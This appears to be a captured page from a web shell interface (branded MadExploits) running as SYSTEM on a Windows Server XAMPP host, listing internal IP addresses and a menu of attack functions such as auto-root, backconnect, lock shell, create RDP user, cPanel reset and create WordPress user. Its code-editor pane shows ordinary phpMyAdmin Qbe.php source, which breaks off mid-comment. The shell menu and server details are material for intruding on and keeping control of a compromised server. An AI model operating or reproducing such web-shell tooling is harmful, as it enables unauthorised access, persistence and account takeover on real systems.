Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
xampp7 /
phpMyAdmin /
libraries /
classes /
Database /
[ HOME SHELL ]
Name
Size
Permission
Action
Designer
[ DIR ]
drwxrwxrwx
DatabaseList.php
1.07
KB
-rw-rw-rw-
Designer.php
14.78
KB
-rw-rw-rw-
MultiTableQuery.php
3.43
KB
-rw-rw-rw-
Qbe.php
67.44
KB
-rw-rw-rw-
Search.php
10.28
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Qbe.php
<?php /* vim: set expandtab sw=4 ts=4 sts=4: */ /** * Handles DB QBE search * * @package PhpMyAdmin */ declare(strict_types=1); namespace PhpMyAdmin\Database; use PhpMyAdmin\Core; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Message; use PhpMyAdmin\Relation; use PhpMyAdmin\SavedSearches; use PhpMyAdmin\Table; use PhpMyAdmin\Template; use PhpMyAdmin\Url; use PhpMyAdmin\Util; /** * Class to handle database QBE search * * @package PhpMyAdmin */ class Qbe { /** * Database name * * @access private * @var string */ private $_db; /** * Table Names (selected/non-selected) * * @access private * @var array */ private $_criteriaTables; /** * Column Names * * @access private * @var array */ private $_columnNames; /** * Number of columns * * @access private * @var integer */ private $_criteria_column_count; /** * Number of Rows * * @access private * @var integer */ private $_criteria_row_count; /** * Whether to insert a new column * * @access private * @var array */ private $_criteriaColumnInsert; /** * Whether to delete a column * * @access private * @var array */ private $_criteriaColumnDelete; /** * Whether to insert a new row * * @access private * @var array */ private $_criteriaRowInsert; /** * Whether to delete a row * * @access private * @var array */ private $_criteriaRowDelete; /** * Already set criteria values * * @access private * @var array */ private $_criteria; /** * Previously set criteria values * * @access private * @var array */ private $_prev_criteria; /** * AND/OR relation b/w criteria columns * * @access private * @var array */ private $_criteriaAndOrColumn; /** * AND/OR relation b/w criteria rows * * @access private * @var array */ private $_criteriaAndOrRow; /** * Large width of a column * * @access private * @var string */ private $_realwidth; /** * Minimum width of a column * * @access private * @var int */ private $_form_column_width; /** * Selected columns in the form * * @access private * @var array */ private $_formColumns; /** * Entered aliases in the form * * @access private * @var array */ private $_formAliases; /** * Chosen sort options in the form * * @access private * @var array */ private $_formSorts; /** * Chosen sort orders in the form * * @access private * @var array */ private $_formSortOrders; /** * Show checkboxes in the form * * @access private * @var array */ private $_formShows; /** * Entered criteria values in the form * * @access private * @var array */ private $_formCriterions; /** * AND/OR column radio buttons in the form * * @access private * @var array */ private $_formAndOrCols; /** * AND/OR row radio buttons in the form * * @access private * @var array */ private $_formAndOrRows; /** * New column count in case of add/delete * * @access private * @var integer */ private $_new_column_count; /** * New row count in case of add/delete * * @access private * @var integer */ private $_new_row_count; /** * List of saved searches * * @access private * @var array */ private $_savedSearchList = null; /** * Current search * * @access private * @var SavedSearches */ private $_currentSearch = null; /** * @var Relation */ private $relation; /** * @var DatabaseInterface */ public $dbi; /** * @var Template */ public $template; /** * Public Constructor * * @param Relation $relation Relation object * @param Template $template Template object * @param DatabaseInterface $dbi DatabaseInterface object * @param string $dbname Database name * @param array $savedSearchList List of saved searches * @param SavedSearches $currentSearch Current search id */ public function __construct( Relation $relation, Template $template, $dbi, $dbname, array $savedSearchList = [], $currentSearch = null ) { $this->_db = $dbname; $this->_savedSearchList = $savedSearchList; $this->_currentSearch = $currentSearch; $this->dbi = $dbi; $this->relation = $relation; $this->template = $template; $this->_loadCriterias(); // Sets criteria parameters $this->_setSearchParams(); $this->_setCriteriaTablesAndColumns(); } /** * Initialize criterias * * @return static */ private function _loadCriterias() { if (null === $this->_currentSearch || null === $this->_currentSearch->getCriterias() ) { return $this; } $criterias = $this->_currentSearch->getCriterias(); $_POST = $criterias + $_POST; return $this; } /** * Getter for current search * * @return SavedSearches */ private function _getCurrentSearch() { return $this->_currentSearch; } /** * Sets search parameters * * @return void */ private function _setSearchParams() { $criteriaColumnCount = $this->_initializeCriteriasCount(); $this->_criteriaColumnInsert = Core::ifSetOr( $_POST['criteriaColumnInsert'], null, 'array' ); $this->_criteriaColumnDelete = Core::ifSetOr( $_POST['criteriaColumnDelete'], null, 'array' ); $this->_prev_criteria = isset($_POST['prev_criteria']) ? $_POST['prev_criteria'] : []; $this->_criteria = isset($_POST['criteria']) ? $_POST['criteria'] : array_fill(0, $criteriaColumnCount, ''); $this->_criteriaRowInsert = isset($_POST['criteriaRowInsert']) ? $_POST['criteriaRowInsert'] : array_fill(0, $criteriaColumnCount, ''); $this->_criteriaRowDelete = isset($_POST['criteriaRowDelete']) ? $_POST['criteriaRowDelete'] : array_fill(0, $criteriaColumnCount, ''); $this->_criteriaAndOrRow = isset($_POST['criteriaAndOrRow']) ? $_POST['criteriaAndOrRow'] : array_fill(0, $criteriaColumnCount, ''); $this->_criteriaAndOrColumn = isset($_POST['criteriaAndOrColumn']) ? $_POST['criteriaAndOrColumn'] : array_fill(0, $criteriaColumnCount, ''); // sets minimum width $this->_form_column_width = 12; $this->_formColumns = []; $this->_formSorts = []; $this->_formShows = []; $this->_formCriterions = []; $this->_formAndOrRows = []; $this->_formAndOrCols = []; } /** * Sets criteria tables and columns * * @return void */ private function _setCriteriaTablesAndColumns() { // The tables list sent by a previously submitted form if (Core::isValid($_POST['TableList'], 'array')) { foreach ($_POST['TableList'] as $each_table) { $this->_criteriaTables[$each_table] = ' selected="selected"'; } } // end if $all_tables = $this->dbi->query( 'SHOW TABLES FROM ' . Util::backquote($this->_db) . ';', DatabaseInterface::CONNECT_USER, DatabaseInterface::QUERY_STORE ); $all_tables_count = $this->dbi->numRows($all_tables); if (0 == $all_tables_count) { Message::error(__('No tables found in database.'))->display(); exit; } // The tables list gets from MySQL while (list($table) = $this->dbi->fetchRow($all_tables)) { $columns = $this->dbi->getColumns($this->_db, $table); if (empty($this->_criteriaTables[$table]) && ! empty($_POST['TableList']) ) { $this->_criteriaTables[$table] = ''; } else { $this->_criteriaTables[$table] = ' selected="selected"'; } // end if // The fields list per selected tables if ($this->_criteriaTables[$table] == ' selected="selected"') { $each_table = Util::backquote($table); $this->_columnNames[] = $each_table . '.*'; foreach ($columns as $each_column) { $each_column = $each_table . '.' . Util::backquote($each_column['Field']); $this->_columnNames[] = $each_column; // increase the width if necessary $this->_form_column_width = max( mb_strlen($each_column), $this->_form_column_width ); } // end foreach } // end if } // end while $this->dbi->freeResult($all_tables); // sets the largest width found $this->_realwidth = $this->_form_column_width . 'ex'; } /** * Provides select options list containing column names * * @param integer $column_number Column Number (0,1,2) or more * @param string $selected Selected criteria column name * * @return string HTML for select options */ private function _showColumnSelectCell($column_number, $selected = '') { return $this->template->render('database/qbe/column_select_cell', [ 'column_number' => $column_number, 'column_names' => $this->_columnNames, 'selected' => $selected, ]); } /** * Provides select options list containing sort options (ASC/DESC) * * @param integer $columnNumber Column Number (0,1,2) or more * @param string $selected Selected criteria 'ASC' or 'DESC' * * @return string HTML for select options */ private function _getSortSelectCell( $columnNumber, $selected = '' ) { return $this->template->render('database/qbe/sort_select_cell', [ 'real_width' => $this->_realwidth, 'column_number' => $columnNumber, 'selected' => $selected, ]); } /** * Provides select options list containing sort order * * @param integer $columnNumber Column Number (0,1,2) or more * @param integer $sortOrder Sort order * * @return string HTML for select options */ private function _getSortOrderSelectCell($columnNumber, $sortOrder) { $totalColumnCount = $this->_getNewColumnCount(); return $this->template->render('database/qbe/sort_order_select_cell', [ 'total_column_count' => $totalColumnCount, 'column_number' => $columnNumber, 'sort_order' => $sortOrder, ]); } /** * Returns the new column count after adding and removing columns as instructed * * @return int new column count */ private function _getNewColumnCount() { $totalColumnCount = $this->_criteria_column_count; if (! empty($this->_criteriaColumnInsert)) { $totalColumnCount += count($this->_criteriaColumnInsert); } if (! empty($this->_criteriaColumnDelete)) { $totalColumnCount -= count($this->_criteriaColumnDelete); } return $totalColumnCount; } /** * Provides search form's row containing column select options * * @return string HTML for search table's row */ private function _getColumnNamesRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Column:') . '</th>'; $new_column_count = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (isset($this->_criteriaColumnInsert[$column_index]) && $this->_criteriaColumnInsert[$column_index] == 'on' ) { $html_output .= $this->_showColumnSelectCell( $new_column_count ); $new_column_count++; } if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$column_index]) && $this->_criteriaColumnDelete[$column_index] == 'on' ) { continue; } $selected = ''; if (isset($_POST['criteriaColumn'][$column_index])) { $selected = $_POST['criteriaColumn'][$column_index]; $this->_formColumns[$new_column_count] = $_POST['criteriaColumn'][$column_index]; } $html_output .= $this->_showColumnSelectCell( $new_column_count, $selected ); $new_column_count++; } // end for $this->_new_column_count = $new_column_count; $html_output .= '</tr>'; return $html_output; } /** * Provides search form's row containing column aliases * * @return string HTML for search table's row */ private function _getColumnAliasRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Alias:') . '</th>'; $new_column_count = 0; for ($colInd = 0; $colInd < $this->_criteria_column_count; $colInd++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$colInd]) && $this->_criteriaColumnInsert[$colInd] == 'on' ) { $html_output .= '<td class="center">'; $html_output .= '<input type="text"' . ' name="criteriaAlias[' . $new_column_count . ']">'; $html_output .= '</td>'; $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$colInd]) && $this->_criteriaColumnDelete[$colInd] == 'on' ) { continue; } $tmp_alias = ''; if (! empty($_POST['criteriaAlias'][$colInd])) { $tmp_alias = $this->_formAliases[$new_column_count] = $_POST['criteriaAlias'][$colInd]; }// end if $html_output .= '<td class="center">'; $html_output .= '<input type="text"' . ' name="criteriaAlias[' . $new_column_count . ']"' . ' value="' . htmlspecialchars($tmp_alias) . '">'; $html_output .= '</td>'; $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides search form's row containing sort(ASC/DESC) select options * * @return string HTML for search table's row */ private function _getSortRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Sort:') . '</th>'; $new_column_count = 0; for ($colInd = 0; $colInd < $this->_criteria_column_count; $colInd++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$colInd]) && $this->_criteriaColumnInsert[$colInd] == 'on' ) { $html_output .= $this->_getSortSelectCell($new_column_count); $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$colInd]) && $this->_criteriaColumnDelete[$colInd] == 'on' ) { continue; } // If they have chosen all fields using the * selector, // then sorting is not available, Fix for Bug #570698 if (isset($_POST['criteriaSort'][$colInd]) && isset($_POST['criteriaColumn'][$colInd]) && mb_substr($_POST['criteriaColumn'][$colInd], -2) == '.*' ) { $_POST['criteriaSort'][$colInd] = ''; } //end if $selected = ''; if (isset($_POST['criteriaSort'][$colInd])) { $this->_formSorts[$new_column_count] = $_POST['criteriaSort'][$colInd]; if ($_POST['criteriaSort'][$colInd] == 'ASC') { $selected = 'ASC'; } elseif ($_POST['criteriaSort'][$colInd] == 'DESC') { $selected = 'DESC'; } } else { $this->_formSorts[$new_column_count] = ''; } $html_output .= $this->_getSortSelectCell( $new_column_count, $selected ); $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides search form's row containing sort order * * @return string HTML for search table's row */ private function _getSortOrder() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Sort order:') . '</th>'; $new_column_count = 0; for ($colInd = 0; $colInd < $this->_criteria_column_count; $colInd++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$colInd]) && $this->_criteriaColumnInsert[$colInd] == 'on' ) { $html_output .= $this->_getSortOrderSelectCell( $new_column_count, null ); $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$colInd]) && $this->_criteriaColumnDelete[$colInd] == 'on' ) { continue; } $sortOrder = null; if (! empty($_POST['criteriaSortOrder'][$colInd])) { $sortOrder = $this->_formSortOrders[$new_column_count] = $_POST['criteriaSortOrder'][$colInd]; } $html_output .= $this->_getSortOrderSelectCell( $new_column_count, $sortOrder ); $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides search form's row containing SHOW checkboxes * * @return string HTML for search table's row */ private function _getShowRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Show:') . '</th>'; $new_column_count = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$column_index]) && $this->_criteriaColumnInsert[$column_index] == 'on' ) { $html_output .= '<td class="center">'; $html_output .= '<input type="checkbox"' . ' name="criteriaShow[' . $new_column_count . ']">'; $html_output .= '</td>'; $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$column_index]) && $this->_criteriaColumnDelete[$column_index] == 'on' ) { continue; } if (isset($_POST['criteriaShow'][$column_index])) { $checked_options = ' checked="checked"'; $this->_formShows[$new_column_count] = $_POST['criteriaShow'][$column_index]; } else { $checked_options = ''; } $html_output .= '<td class="center">'; $html_output .= '<input type="checkbox"' . ' name="criteriaShow[' . $new_column_count . ']"' . $checked_options . '>'; $html_output .= '</td>'; $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides search form's row containing criteria Inputboxes * * @return string HTML for search table's row */ private function _getCriteriaInputboxRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Criteria:') . '</th>'; $new_column_count = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$column_index]) && $this->_criteriaColumnInsert[$column_index] == 'on' ) { $html_output .= '<td class="center">'; $html_output .= '<input type="text"' . ' name="criteria[' . $new_column_count . ']"' . ' class="textfield"' . ' style="width: ' . $this->_realwidth . '"' . ' size="20">'; $html_output .= '</td>'; $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$column_index]) && $this->_criteriaColumnDelete[$column_index] == 'on' ) { continue; } $tmp_criteria = ''; if (isset($this->_criteria[$column_index])) { $tmp_criteria = $this->_criteria[$column_index]; } if ((empty($this->_prev_criteria) || ! isset($this->_prev_criteria[$column_index])) || $this->_prev_criteria[$column_index] != htmlspecialchars($tmp_criteria) ) { $this->_formCriterions[$new_column_count] = $tmp_criteria; } else { $this->_formCriterions[$new_column_count] = $this->_prev_criteria[$column_index]; } $html_output .= '<td class="center">'; $html_output .= '<input type="hidden"' . ' name="prev_criteria[' . $new_column_count . ']"' . ' value="' . htmlspecialchars($this->_formCriterions[$new_column_count]) . '">'; $html_output .= '<input type="text"' . ' name="criteria[' . $new_column_count . ']"' . ' value="' . htmlspecialchars($tmp_criteria) . '"' . ' class="textfield"' . ' style="width: ' . $this->_realwidth . '"' . ' size="20">'; $html_output .= '</td>'; $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides footer options for adding/deleting row/columns * * @param string $type Whether row or column * * @return string HTML for footer options */ private function _getFootersOptions($type) { return $this->template->render('database/qbe/footer_options', [ 'type' => $type, ]); } /** * Provides search form table's footer options * * @return string HTML for table footer */ private function _getTableFooters() { $html_output = '<fieldset class="tblFooters">'; $html_output .= $this->_getFootersOptions("row"); $html_output .= $this->_getFootersOptions("column"); $html_output .= '<div class="floatleft">'; $html_output .= '<input class="btn btn-secondary" type="submit" name="modify"' . ' value="' . __('Update Query') . '">'; $html_output .= '</div>'; $html_output .= '</fieldset>'; return $html_output; } /** * Provides a select list of database tables * * @return string HTML for table select list */ private function _getTablesList() { $html_output = '<div class="floatleft width100">'; $html_output .= '<fieldset>'; $html_output .= '<legend>' . __('Use Tables') . '</legend>'; // Build the options list for each table name $options = ''; $numTableListOptions = 0; foreach ($this->_criteriaTables as $key => $val) { $options .= '<option value="' . htmlspecialchars($key) . '"' . $val . '>' . str_replace(' ', ' ', htmlspecialchars($key)) . '</option>'; $numTableListOptions++; } $html_output .= '<select name="TableList[]"' . ' multiple="multiple" id="listTable"' . ' size="' . ($numTableListOptions > 30 ? '15' : '7') . '">'; $html_output .= $options; $html_output .= '</select>'; $html_output .= '</fieldset>'; $html_output .= '<fieldset class="tblFooters">'; $html_output .= '<input class="btn btn-secondary" type="submit" name="modify" value="' . __('Update Query') . '">'; $html_output .= '</fieldset>'; $html_output .= '</div>'; return $html_output; } /** * Provides And/Or modification cell along with Insert/Delete options * (For modifying search form's table columns) * * @param integer $column_number Column Number (0,1,2) or more * @param array|null $selected Selected criteria column name * @param bool $last_column Whether this is the last column * * @return string HTML for modification cell */ private function _getAndOrColCell( $column_number, $selected = null, $last_column = false ) { $html_output = '<td class="center">'; if (! $last_column) { $html_output .= '<strong>' . __('Or:') . '</strong>'; $html_output .= '<input type="radio"' . ' name="criteriaAndOrColumn[' . $column_number . ']"' . ' value="or"' . ($selected['or'] ?? '') . '>'; $html_output .= ' <strong>' . __('And:') . '</strong>'; $html_output .= '<input type="radio"' . ' name="criteriaAndOrColumn[' . $column_number . ']"' . ' value="and"' . ($selected['and'] ?? '') . '>'; } $html_output .= '<br>' . __('Ins'); $html_output .= '<input type="checkbox"' . ' name="criteriaColumnInsert[' . $column_number . ']">'; $html_output .= ' ' . __('Del'); $html_output .= '<input type="checkbox"' . ' name="criteriaColumnDelete[' . $column_number . ']">'; $html_output .= '</td>'; return $html_output; } /** * Provides search form's row containing column modifications options * (For modifying search form's table columns) * * @return string HTML for search table's row */ private function _getModifyColumnsRow() { $html_output = '<tr class="noclick">'; $html_output .= '<th>' . __('Modify:') . '</th>'; $new_column_count = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$column_index]) && $this->_criteriaColumnInsert[$column_index] == 'on' ) { $html_output .= $this->_getAndOrColCell($new_column_count); $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$column_index]) && $this->_criteriaColumnDelete[$column_index] == 'on' ) { continue; } if (isset($this->_criteriaAndOrColumn[$column_index])) { $this->_formAndOrCols[$new_column_count] = $this->_criteriaAndOrColumn[$column_index]; } $checked_options = []; if (isset($this->_criteriaAndOrColumn[$column_index]) && $this->_criteriaAndOrColumn[$column_index] == 'or' ) { $checked_options['or'] = ' checked="checked"'; $checked_options['and'] = ''; } else { $checked_options['and'] = ' checked="checked"'; $checked_options['or'] = ''; } $html_output .= $this->_getAndOrColCell( $new_column_count, $checked_options, $column_index + 1 == $this->_criteria_column_count ); $new_column_count++; } // end for $html_output .= '</tr>'; return $html_output; } /** * Provides Insert/Delete options for criteria inputbox * with AND/OR relationship modification options * * @param integer $row_index Number of criteria row * @param array $checked_options If checked * * @return string HTML */ private function _getInsDelAndOrCell($row_index, array $checked_options) { $html_output = '<td class="value nowrap">'; $html_output .= '<!-- Row controls -->'; $html_output .= '<table class="nospacing nopadding">'; $html_output .= '<tr>'; $html_output .= '<td class="value nowrap">'; $html_output .= '<small>' . __('Ins:') . '</small>'; $html_output .= '<input type="checkbox"' . ' name="criteriaRowInsert[' . $row_index . ']">'; $html_output .= '</td>'; $html_output .= '<td class="value">'; $html_output .= '<strong>' . __('And:') . '</strong>'; $html_output .= '</td>'; $html_output .= '<td>'; $html_output .= '<input type="radio"' . ' name="criteriaAndOrRow[' . $row_index . ']" value="and"' . $checked_options['and'] . '>'; $html_output .= '</td>'; $html_output .= '</tr>'; $html_output .= '<tr>'; $html_output .= '<td class="value nowrap">'; $html_output .= '<small>' . __('Del:') . '</small>'; $html_output .= '<input type="checkbox"' . ' name="criteriaRowDelete[' . $row_index . ']">'; $html_output .= '</td>'; $html_output .= '<td class="value">'; $html_output .= '<strong>' . __('Or:') . '</strong>'; $html_output .= '</td>'; $html_output .= '<td>'; $html_output .= '<input type="radio"' . ' name="criteriaAndOrRow[' . $row_index . ']"' . ' value="or"' . $checked_options['or'] . '>'; $html_output .= '</td>'; $html_output .= '</tr>'; $html_output .= '</table>'; $html_output .= '</td>'; return $html_output; } /** * Provides rows for criteria inputbox Insert/Delete options * with AND/OR relationship modification options * * @param integer $new_row_index New row index if rows are added/deleted * * @return string HTML table rows */ private function _getInputboxRow($new_row_index) { $html_output = ''; $new_column_count = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_criteriaColumnInsert) && isset($this->_criteriaColumnInsert[$column_index]) && $this->_criteriaColumnInsert[$column_index] == 'on' ) { $orFieldName = 'Or' . $new_row_index . '[' . $new_column_count . ']'; $html_output .= '<td class="center">'; $html_output .= '<input type="text"' . ' name="Or' . $orFieldName . '" class="textfield"' . ' style="width: ' . $this->_realwidth . '" size="20">'; $html_output .= '</td>'; $new_column_count++; } // end if if (! empty($this->_criteriaColumnDelete) && isset($this->_criteriaColumnDelete[$column_index]) && $this->_criteriaColumnDelete[$column_index] == 'on' ) { continue; } $or = 'Or' . $new_row_index; if (! empty($_POST[$or]) && isset($_POST[$or][$column_index])) { $tmp_or = $_POST[$or][$column_index]; } else { $tmp_or = ''; } $html_output .= '<td class="center">'; $html_output .= '<input type="text"' . ' name="Or' . $new_row_index . '[' . $new_column_count . ']"' . ' value="' . htmlspecialchars($tmp_or) . '" class="textfield"' . ' style="width: ' . $this->_realwidth . '" size="20">'; $html_output .= '</td>'; if (! empty(${$or}) && isset(${$or}[$column_index])) { $GLOBALS[${'cur' . $or}][$new_column_count] = ${$or}[$column_index]; } $new_column_count++; } // end for return $html_output; } /** * Provides rows for criteria inputbox Insert/Delete options * with AND/OR relationship modification options * * @return string HTML table rows */ private function _getInsDelAndOrCriteriaRows() { $html_output = ''; $new_row_count = 0; $checked_options = []; for ($row_index = 0; $row_index <= $this->_criteria_row_count; $row_index++) { if (isset($this->_criteriaRowInsert[$row_index]) && $this->_criteriaRowInsert[$row_index] == 'on' ) { $checked_options['or'] = ' checked="checked"'; $checked_options['and'] = ''; $html_output .= '<tr class="noclick">'; $html_output .= $this->_getInsDelAndOrCell( $new_row_count, $checked_options ); $html_output .= $this->_getInputboxRow( $new_row_count ); $new_row_count++; $html_output .= '</tr>'; } // end if if (isset($this->_criteriaRowDelete[$row_index]) && $this->_criteriaRowDelete[$row_index] == 'on' ) { continue; } if (isset($this->_criteriaAndOrRow[$row_index])) { $this->_formAndOrRows[$new_row_count] = $this->_criteriaAndOrRow[$row_index]; } if (isset($this->_criteriaAndOrRow[$row_index]) && $this->_criteriaAndOrRow[$row_index] == 'and' ) { $checked_options['and'] = ' checked="checked"'; $checked_options['or'] = ''; } else { $checked_options['or'] = ' checked="checked"'; $checked_options['and'] = ''; } $html_output .= '<tr class="noclick">'; $html_output .= $this->_getInsDelAndOrCell( $new_row_count, $checked_options ); $html_output .= $this->_getInputboxRow( $new_row_count ); $new_row_count++; $html_output .= '</tr>'; } // end for $this->_new_row_count = $new_row_count; return $html_output; } /** * Provides SELECT clause for building SQL query * * @return string Select clause */ private function _getSelectClause() { $select_clause = ''; $select_clauses = []; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_formColumns[$column_index]) && isset($this->_formShows[$column_index]) && $this->_formShows[$column_index] == 'on' ) { $select = $this->_formColumns[$column_index]; if (! empty($this->_formAliases[$column_index])) { $select .= " AS " . Util::backquote($this->_formAliases[$column_index]); } $select_clauses[] = $select; } } // end for if (! empty($select_clauses)) { $select_clause = 'SELECT ' . htmlspecialchars(implode(", ", $select_clauses)) . "\n"; } return $select_clause; } /** * Provides WHERE clause for building SQL query * * @return string Where clause */ private function _getWhereClause() { $where_clause = ''; $criteria_cnt = 0; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_formColumns[$column_index]) && ! empty($this->_formCriterions[$column_index]) && $column_index && isset($last_where) && isset($this->_formAndOrCols) ) { $where_clause .= ' ' . mb_strtoupper($this->_formAndOrCols[$last_where]) . ' '; } if (! empty($this->_formColumns[$column_index]) && ! empty($this->_formCriterions[$column_index]) ) { $where_clause .= '(' . $this->_formColumns[$column_index] . ' ' . $this->_formCriterions[$column_index] . ')'; $last_where = $column_index; $criteria_cnt++; } } // end for if ($criteria_cnt > 1) { $where_clause = '(' . $where_clause . ')'; } // OR rows ${'cur' . $or}[$column_index] if (! isset($this->_formAndOrRows)) { $this->_formAndOrRows = []; } for ($row_index = 0; $row_index <= $this->_criteria_row_count; $row_index++) { $criteria_cnt = 0; $qry_orwhere = ''; $last_orwhere = ''; for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { if (! empty($this->_formColumns[$column_index]) && ! empty($_POST['Or' . $row_index][$column_index]) && $column_index ) { $qry_orwhere .= ' ' . mb_strtoupper( $this->_formAndOrCols[$last_orwhere] ) . ' '; } if (! empty($this->_formColumns[$column_index]) && ! empty($_POST['Or' . $row_index][$column_index]) ) { $qry_orwhere .= '(' . $this->_formColumns[$column_index] . ' ' . $_POST['Or' . $row_index][$column_index] . ')'; $last_orwhere = $column_index; $criteria_cnt++; } } // end for if ($criteria_cnt > 1) { $qry_orwhere = '(' . $qry_orwhere . ')'; } if (! empty($qry_orwhere)) { $where_clause .= "\n" . mb_strtoupper( isset($this->_formAndOrRows[$row_index]) ? $this->_formAndOrRows[$row_index] . ' ' : '' ) . $qry_orwhere; } // end if } // end for if (! empty($where_clause) && $where_clause != '()') { $where_clause = 'WHERE ' . htmlspecialchars($where_clause) . "\n"; } // end if return $where_clause; } /** * Provides ORDER BY clause for building SQL query * * @return string Order By clause */ private function _getOrderByClause() { $orderby_clause = ''; $orderby_clauses = []; // Create copy of instance variables $columns = $this->_formColumns; $sort = $this->_formSorts; $sortOrder = $this->_formSortOrders; if (! empty($sortOrder) && count($sortOrder) == count($sort) && count($sortOrder) == count($columns) ) { // Sort all three arrays based on sort order array_multisort($sortOrder, $sort, $columns); } for ($column_index = 0; $column_index < $this->_criteria_column_count; $column_index++) { // if all columns are chosen with * selector, // then sorting isn't available // Fix for Bug #570698 if (empty($columns[$column_index]) && empty($sort[$column_index]) ) { continue; } if (mb_substr($columns[$column_index], -2) == '.*') { continue; } if (! empty($sort[$column_index])) { $orderby_clauses[] = $columns[$column_index] . ' ' . $sort[$column_index]; } } // end for if (! empty($orderby_clauses)) { $orderby_clause = 'ORDER BY ' . htmlspecialchars(implode(", ", $orderby_clauses)) . "\n"; } return $orderby_clause; } /** * Provides UNIQUE columns and INDEX columns present in criteria tables * * @param array $search_tables Tables involved in the search * @param array $search_columns Columns involved in the search * @param array $where_clause_columns Columns having criteria where clause * * @return array having UNIQUE and INDEX columns */ private function _getIndexes( array $search_tables, array $search_columns, array $where_clause_columns ) { $unique_columns = []; $index_columns = []; foreach ($search_tables as $table) { $indexes = $this->dbi->getTableIndexes($this->_db, $table); foreach ($indexes as $index) { $column = $table . '.' . $index['Column_name']; if (isset($search_columns[$column])) { if ($index['Non_unique'] == 0) { if (isset($where_clause_columns[$column])) { $unique_columns[$column] = 'Y'; } else { $unique_columns[$column] = 'N'; } } else { if (isset($where_clause_columns[$column])) { $index_columns[$column] = 'Y'; } else { $index_columns[$column] = 'N'; } } } } // end while (each index of a table) } // end while (each table) return [ 'unique' => $unique_columns, 'index' => $index_columns, ]; } /** * Provides UNIQUE columns and INDEX columns present in criteria tables * * @param array $search_tables Tables involved in the search * @param array $search_columns Columns involved in the search * @param array $where_clause_columns Columns having criteria where clause * * @return array having UNIQUE and INDEX columns */ private function _getLeftJoinColumnCandidates( array $search_tables, array $search_columns, array $where_clause_columns ) { $this->dbi->selectDb($this->_db); // Get unique columns and index columns $indexes = $this->_getIndexes( $search_tables, $search_columns, $where_clause_columns ); $unique_columns = $indexes['unique']; $index_columns = $indexes['index']; list($candidate_columns, $needsort) = $this->_getLeftJoinColumnCandidatesBest( $search_tables, $where_clause_columns, $unique_columns, $index_columns ); // If we came up with $unique_columns (very good) or $index_columns (still // good) as $candidate_columns we want to check if we have any 'Y' there // (that would mean that they were also found in the whereclauses // which would be great). if yes, we take only those if ($needsort != 1) { return $candidate_columns; } $very_good = []; $still_good = []; foreach ($candidate_columns as $column => $is_where) { $table = explode('.', $column); $table = $table[0]; if ($is_where == 'Y') { $very_good[$column] = $table; } else { $still_good[$column] = $table; } } if (count($very_good) > 0) { $candidate_columns = $very_good; // Candidates restricted in index+where } else { $candidate_columns = $still_good; // None of the candidates where in a where-clause } return $candidate_columns; } /** * Provides the main table to form the LEFT JOIN clause * * @param array $search_tables Tables involved in the search * @param array $search_columns Columns involved in the search * @param array $where_clause_columns Columns having criteria where clause * @param array $where_clause_tables Tables having criteria where clause * * @return string table name */ private function _getMasterTable( array $search_tables, array $search_columns, array $where_clause_columns, array $where_clause_tables ) { if (count($where_clause_tables) === 1) { // If there is exactly one column that has a decent where-clause // we will just use this return key($where_clause_tables); } // Now let's find out which of the tables has an index // (When the control user is the same as the normal user // because he is using one of his databases as pmadb, // the last db selected is not always the one where we need to work) $candidate_columns = $this->_getLeftJoinColumnCandidates( $search_tables, $search_columns, $where_clause_columns ); // Generally, we need to display all the rows of foreign (referenced) // table, whether they have any matching row in child table or 